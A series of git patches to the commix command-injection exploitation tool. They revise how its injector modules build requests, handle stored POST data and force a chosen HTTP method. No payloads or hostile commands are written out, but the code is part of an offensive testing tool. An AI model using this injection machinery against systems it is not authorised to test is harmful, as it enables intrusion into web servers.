a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index f1b289411c..793dd2345e 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1782,10 +1782,9 @@ def process_xml_data(): message += " Do you want to process it? [Y/n] > " xml_process = common.read_input(message, default="Y", check_batch=True) if xml_process in settings.CHOICE_YES: - settings.IS_XML = True - break + return True elif xml_process in settings.CHOICE_NO: - break + return False elif xml_process in settings.CHOICE_QUIT: raise SystemExit() else: @@ -1822,10 +1821,9 @@ def process_json_data(): message += " Do you want to process it? [Y/n] > " json_process = common.read_input(message, default="Y", check_batch=True) if json_process in settings.CHOICE_YES: - settings.IS_JSON = True - break + return True elif json_process in settings.CHOICE_NO: - break + return False elif json_process in settings.CHOICE_QUIT: raise SystemExit() else: diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index db7ea6486c..5755ba6625 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -270,16 +270,15 @@ def json_format(parameter): checks.check_injection_level() # Check if JSON Object. if checks.is_JSON_check(parameter) or checks.is_JSON_check(checks.check_quotes_json_data(parameter)): - if checks.is_JSON_check(checks.check_quotes_json_data(parameter)): parameter = checks.check_quotes_json_data(parameter) if not settings.IS_JSON: - checks.process_json_data() + settings.IS_JSON = checks.process_json_data() settings.PARAMETER_DELIMITER = "," # Check if XML Object. elif checks.is_XML_check(parameter): if not settings.IS_XML: - checks.process_xml_data() + settings.IS_XML = checks.process_xml_data() settings.PARAMETER_DELIMITER = "" else: pass @@ -304,7 +303,7 @@ def json_format(parameter): if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)) and \ not settings.IS_JSON and \ not settings.IS_XML: - checks.inappropriate_format(multi_parameters) + raise SystemExit() for param in range(len(multi_parameters)): multi_parameters[param] = checks.PCRE_e_modifier(multi_parameters[param], http_request_method) diff --git a/src/utils/settings.py b/src/utils/settings.py index 047cf6d9c7..f72193af48 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "15" +REVISION = "16" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 93db3f7c46d3b9fd5de16c9003d7c24610047f44 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 26 Mar 2024 07:18:08 +0200 Subject: [PATCH 0409/1023] Fixes https://github.com/commixproject/commix/issues/896 --- src/core/main.py | 8 ++++++-- src/utils/settings.py | 2 +- 2 files changed, 7 insertions(+), 3 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index 2364279bf1..fe4f846ad5 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -582,8 +582,12 @@ def main(filename, url): if menu.options.smoke_test: smoke_test() - if hasattr(sys.stdin, "fileno") and not any((os.isatty(sys.stdin.fileno()), menu.options.ignore_stdin)): - settings.STDIN_PARSING = True + try: + if hasattr(sys.stdin, "fileno") and not any((os.isatty(sys.stdin.fileno()), menu.options.ignore_stdin)): + settings.STDIN_PARSING = True + except Exception as ex: + if "fileno" in str(ex) and settings.STDIN_PARSING: + settings.STDIN_PARSING = False if menu.options.ignore_redirects: settings.FOLLOW_REDIRECT = False diff --git a/src/utils/settings.py b/src/utils/settings.py index f72193af48..df0fd2c67d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "16" +REVISION = "17" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From a07802e46ac3bf550687230eab368ab434dd6a8a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 27 Mar 2024 07:28:45 +0200 Subject: [PATCH 0410/1023] Trivial update --- .../blind/techniques/time_based/tb_handler.py | 2 +- .../techniques/time_based/tb_injector.py | 14 ++++++++---- src/core/injections/controller/checks.py | 7 +++--- src/core/injections/controller/controller.py | 22 +++++++++++++++---- .../techniques/classic/cb_handler.py | 2 +- .../techniques/classic/cb_injector.py | 14 ++++++++---- .../techniques/eval_based/eb_handler.py | 2 +- .../techniques/eval_based/eb_injector.py | 14 ++++++++---- .../techniques/file_based/fb_handler.py | 2 +- .../techniques/file_based/fb_injector.py | 14 ++++++++---- .../techniques/tempfile_based/tfb_handler.py | 2 +- .../techniques/tempfile_based/tfb_injector.py | 14 ++++++++---- src/core/main.py | 2 +- src/core/requests/parameters.py | 2 +- src/utils/settings.py | 9 +++++--- 15 files changed, 85 insertions(+), 37 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 388960ec3a..a1a6df85d1 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -366,7 +366,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r header_name = "" the_type = " parameter" # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: + if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index be29821812..09ef9fe9e3 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -46,12 +46,15 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, start = time.time() # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: + if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: # Encoding non-ASCII characters payload. # payload = _urllib.parse.quote(payload) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) - request = _urllib.request.Request(target) + if len(settings.USER_DEFINED_POST_DATA) != 0: + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)) + else: + request = _urllib.request.Request(target) # Check if defined method is POST. else: @@ -93,14 +96,17 @@ def injection_test(payload, http_request_method, url): start = time.time() # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: + if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: # Encoding non-ASCII characters payload. # payload = _urllib.parse.quote(payload) # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(target) + if len(settings.USER_DEFINED_POST_DATA) != 0: + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)) + else: + request = _urllib.request.Request(target) # Check if defined method is POST. else: diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 793dd2345e..e07e28a83b 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -76,9 +76,8 @@ def check_waf(url): else: payload = settings.PARAMETER_DELIMITER + payload url = url + payload - if menu.options.data: - settings.USER_DEFINED_POST_DATA = menu.options.data - request = _urllib.request.Request(url, menu.options.data.encode()) + if len(settings.USER_DEFINED_POST_DATA) != 0: + request = _urllib.request.Request(url, settings.USER_DEFINED_POST_DATA.encode()) else: request = _urllib.request.Request(url) return request, url @@ -1784,6 +1783,7 @@ def process_xml_data(): if xml_process in settings.CHOICE_YES: return True elif xml_process in settings.CHOICE_NO: + settings.IGNORE_USER_DEFINED_POST_DATA = True return False elif xml_process in settings.CHOICE_QUIT: raise SystemExit() @@ -1823,6 +1823,7 @@ def process_json_data(): if json_process in settings.CHOICE_YES: return True elif json_process in settings.CHOICE_NO: + settings.IGNORE_USER_DEFINED_POST_DATA = True return False elif json_process in settings.CHOICE_QUIT: raise SystemExit() diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index d02e50ea77..8d738c5904 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -95,7 +95,10 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, payload = checks.perform_payload_modification(payload) if settings.VERBOSITY_LEVEL >= 1: print(settings.print_payload(payload)) - data = None + if len(settings.USER_DEFINED_POST_DATA) != 0: + data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) + else: + data = None cookie = None tmp_url = url if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -153,7 +156,10 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t payload = checks.perform_payload_modification(payload) if settings.VERBOSITY_LEVEL >= 1: print(settings.print_payload(payload)) - data = None + if len(settings.USER_DEFINED_POST_DATA) != 0: + data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) + else: + data = None cookie = None tmp_url = url if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -267,6 +273,12 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time basic_level_checks() inject_http_headers = False + + if check_parameter.lower() in url : + http_request_method = settings.HTTPMETHOD.GET + elif check_parameter.lower() not in menu.options.data: + http_request_method = settings.HTTPMETHOD.POST + if (http_request_method == settings.HTTPMETHOD.GET and check_parameter.lower() not in url) or \ (http_request_method == settings.HTTPMETHOD.POST and menu.options.data and check_parameter.lower() not in menu.options.data): if any(x in check_parameter.lower() for x in settings.HTTP_HEADERS) or \ @@ -636,6 +648,7 @@ def post_request(url, http_request_method, filename, timesec): Perform checks """ def perform_checks(url, http_request_method, filename): + # Initiate whitespaces if settings.MULTI_TARGETS or settings.STDIN_PARSING and len(settings.WHITESPACES) > 1: settings.WHITESPACES = ["%20"] @@ -678,8 +691,9 @@ def perform_checks(url, http_request_method, filename): # Check if defined POST data if not settings.COOKIE_INJECTION: - if settings.USER_DEFINED_POST_DATA: - post_request(url, http_request_method, filename, timesec) + if len(settings.USER_DEFINED_POST_DATA) != 0 and not settings.IGNORE_USER_DEFINED_POST_DATA: + if post_request(url, http_request_method, filename, timesec) is None: + get_request(url, http_request_method, filename, timesec) else: get_request(url, http_request_method, filename, timesec) diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 1875809737..3a4e2e3bf2 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -243,7 +243,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ header_name = "" the_type = " parameter" # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: + if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index 3e1f7db2fd..409025669f 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -46,13 +46,16 @@ def injection_test(payload, http_request_method, url): # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: + if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: if settings.SINGLE_WHITESPACE in payload: payload = replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)) # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(target) + if len(settings.USER_DEFINED_POST_DATA) != 0: + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)) + else: + request = _urllib.request.Request(target) # Check if defined extra headers. headers.do_check(request) @@ -197,13 +200,16 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques else: # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: + if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) - request = _urllib.request.Request(target) + if len(settings.USER_DEFINED_POST_DATA) != 0: + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)) + else: + request = _urllib.request.Request(target) # Check if defined extra headers. headers.do_check(request) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index f2f07393dd..efa2c4ea5b 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -255,7 +255,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ else: header_name = "" the_type = " parameter" - if not settings.USER_DEFINED_POST_DATA: + if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index 4b48ff1e01..1d00fe19a5 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -40,14 +40,17 @@ def injection_test(payload, http_request_method, url): # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: + if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(target) + if len(settings.USER_DEFINED_POST_DATA) != 0: + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)) + else: + request = _urllib.request.Request(target) # Check if defined extra headers. headers.do_check(request) @@ -185,13 +188,16 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques else: # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: + if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) - request = _urllib.request.Request(target) + if len(settings.USER_DEFINED_POST_DATA) != 0: + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)) + else: + request = _urllib.request.Request(target) # Check if defined extra headers. headers.do_check(request) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index d738712511..d6fae91369 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -483,7 +483,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r header_name = "" the_type = " parameter" # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: + if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 4d1c6b0508..1acf02503d 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -43,7 +43,7 @@ def injection_test(payload, http_request_method, url): # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: + if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) @@ -55,7 +55,10 @@ def injection_test(payload, http_request_method, url): vuln_parameter = parameters.vuln_GET_param(url) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(target) + if len(settings.USER_DEFINED_POST_DATA) != 0: + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)) + else: + request = _urllib.request.Request(target) # Check if defined extra headers. headers.do_check(request) @@ -189,13 +192,16 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht else: # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: + if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) payload = payload.replace(settings.SINGLE_WHITESPACE,"%20") target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) - request = _urllib.request.Request(target) + if len(settings.USER_DEFINED_POST_DATA) != 0: + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)) + else: + request = _urllib.request.Request(target) # Check if defined extra headers. headers.do_check(request) # Get the response of the request diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index f4d0598fbf..408c7152a3 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -398,7 +398,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, header_name = "" the_type = " parameter" # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: + if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 16f5faf027..93cca89e05 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -47,13 +47,16 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, start = time.time() # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: + if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: # Encoding non-ASCII characters payload. # payload = _urllib.parse.quote(payload) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) - request = _urllib.request.Request(target) + if len(settings.USER_DEFINED_POST_DATA) != 0: + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)) + else: + request = _urllib.request.Request(target) # Check if defined method is POST. else : @@ -97,7 +100,7 @@ def injection_test(payload, http_request_method, url): start = time.time() # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: + if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: payload = payload.replace("#","%23") # Encoding non-ASCII characters payload. # payload = _urllib.parse.quote(payload) @@ -105,7 +108,10 @@ def injection_test(payload, http_request_method, url): # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(target) + if len(settings.USER_DEFINED_POST_DATA) != 0: + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)) + else: + request = _urllib.request.Request(target) # Check if defined method is POST. else: diff --git a/src/core/main.py b/src/core/main.py index fe4f846ad5..076b1f39c1 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -856,7 +856,7 @@ def main(filename, url): url = menu.options.sitemap_url else: url = menu.options.url - + if not settings.STDIN_PARSING and not menu.options.bulkfile and not settings.CRAWLING: http_request_method = checks.check_http_method(url) if os_checks_num == 0: diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 5755ba6625..c14d3b2e50 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -303,7 +303,7 @@ def json_format(parameter): if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)) and \ not settings.IS_JSON and \ not settings.IS_XML: - raise SystemExit() + return "" for param in range(len(multi_parameters)): multi_parameters[param] = checks.PCRE_e_modifier(multi_parameters[param], http_request_method) diff --git a/src/utils/settings.py b/src/utils/settings.py index df0fd2c67d..856cdbae2d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "17" +REVISION = "18" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -363,8 +363,11 @@ class HEURISTIC_TEST(object): SKIP_CODE_INJECTIONS = False SKIP_COMMAND_INJECTIONS = False -# User-defined stored post data. -USER_DEFINED_POST_DATA = False +# User-defined stored POST data. +USER_DEFINED_POST_DATA = "" + +# Ignore user-defined stored POST data. +IGNORE_USER_DEFINED_POST_DATA = False # The wildcard character WILDCARD_CHAR = "*" From ad0783905859d92a88e398e4f0f1d825ec01d0e2 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 28 Mar 2024 09:41:33 +0200 Subject: [PATCH 0411/1023] Improvement regarding forcing usage of provided HTTP method (e.g. `PUT`) --- doc/CHANGELOG.md | 1 + .../blind/techniques/time_based/tb_handler.py | 10 +-- .../techniques/time_based/tb_injector.py | 72 +++++++-------- src/core/injections/controller/checks.py | 34 ++----- src/core/injections/controller/controller.py | 13 +-- .../techniques/classic/cb_handler.py | 10 +-- .../techniques/classic/cb_injector.py | 42 ++++----- .../techniques/eval_based/eb_handler.py | 10 +-- .../techniques/eval_based/eb_injector.py | 42 ++++----- .../techniques/file_based/fb_handler.py | 10 +-- .../techniques/file_based/fb_injector.py | 42 ++++----- .../techniques/tempfile_based/tfb_handler.py | 10 +-- .../techniques/tempfile_based/tfb_injector.py | 72 +++++++-------- src/core/main.py | 20 ++--- src/core/requests/authentication.py | 8 +- src/core/requests/parameters.py | 6 +- src/core/requests/requests.py | 89 +++++++++---------- src/core/requests/tor.py | 2 +- src/utils/settings.py | 2 +- 19 files changed, 238 insertions(+), 257 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index a2e7891495..5f3b33d87c 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.0 (TBA) +* Revised: Improvement regarding forcing usage of provided HTTP method (e.g. `PUT`). * Revised: Improvement regarding parsing raw HTTP request from a file (i.e. `-r` option). * Revised: Improvement regarding parsing JSON nested objects. * Revised: Improvement regarding (basic) heuristic detection of WAF/IPS protection. diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index a1a6df85d1..45b06c539e 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -143,31 +143,31 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) - how_long = tb_injector.cookie_injection_test(url, vuln_parameter, payload) + how_long = tb_injector.cookie_injection_test(url, vuln_parameter, payload, http_request_method) # User-Agent HTTP header injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) - how_long = tb_injector.user_agent_injection_test(url, vuln_parameter, payload) + how_long = tb_injector.user_agent_injection_test(url, vuln_parameter, payload, http_request_method) # Referer HTTP header injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) - how_long = tb_injector.referer_injection_test(url, vuln_parameter, payload) + how_long = tb_injector.referer_injection_test(url, vuln_parameter, payload, http_request_method) # Host HTTP header injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to host HTTP header injection. vuln_parameter = parameters.specify_host_parameter(menu.options.host) - how_long = tb_injector.host_injection_test(url, vuln_parameter, payload) + how_long = tb_injector.host_injection_test(url, vuln_parameter, payload, http_request_method) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) - how_long = tb_injector.custom_header_injection_test(url, vuln_parameter, payload) + how_long = tb_injector.custom_header_injection_test(url, vuln_parameter, payload, http_request_method) else: # Check if target host is vulnerable. diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index 09ef9fe9e3..6b7b9c75d4 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -52,9 +52,9 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) if len(settings.USER_DEFINED_POST_DATA) != 0: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: - request = _urllib.request.Request(target) + request = _urllib.request.Request(target, method=http_request_method) # Check if defined method is POST. else: @@ -74,7 +74,7 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) # Check if defined extra headers. headers.do_check(request) @@ -104,9 +104,9 @@ def injection_test(payload, http_request_method, url): vuln_parameter = parameters.vuln_GET_param(url) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) if len(settings.USER_DEFINED_POST_DATA) != 0: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: - request = _urllib.request.Request(target) + request = _urllib.request.Request(target, method=http_request_method) # Check if defined method is POST. else: @@ -128,7 +128,7 @@ def injection_test(payload, http_request_method, url): data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) # Check if defined extra headers. headers.do_check(request) @@ -142,32 +142,32 @@ def injection_test(payload, http_request_method, url): """ Check if target host is vulnerable. (Cookie-based injection) """ -def cookie_injection_test(url, vuln_parameter, payload): - return requests.cookie_injection(url, vuln_parameter, payload) +def cookie_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.cookie_injection(url, vuln_parameter, payload, http_request_method) """ Check if target host is vulnerable. (User-Agent-based injection) """ -def user_agent_injection_test(url, vuln_parameter, payload): - return requests.user_agent_injection(url, vuln_parameter, payload) +def user_agent_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.user_agent_injection(url, vuln_parameter, payload, http_request_method) """ Check if target host is vulnerable. (Referer-based injection) """ -def referer_injection_test(url, vuln_parameter, payload): - return requests.referer_injection(url, vuln_parameter, payload) +def referer_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.referer_injection(url, vuln_parameter, payload, http_request_method) """ Check if target host is vulnerable. (Host-based injection) """ -def host_injection_test(url, vuln_parameter, payload): - return requests.host_injection(url, vuln_parameter, payload) +def host_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.host_injection(url, 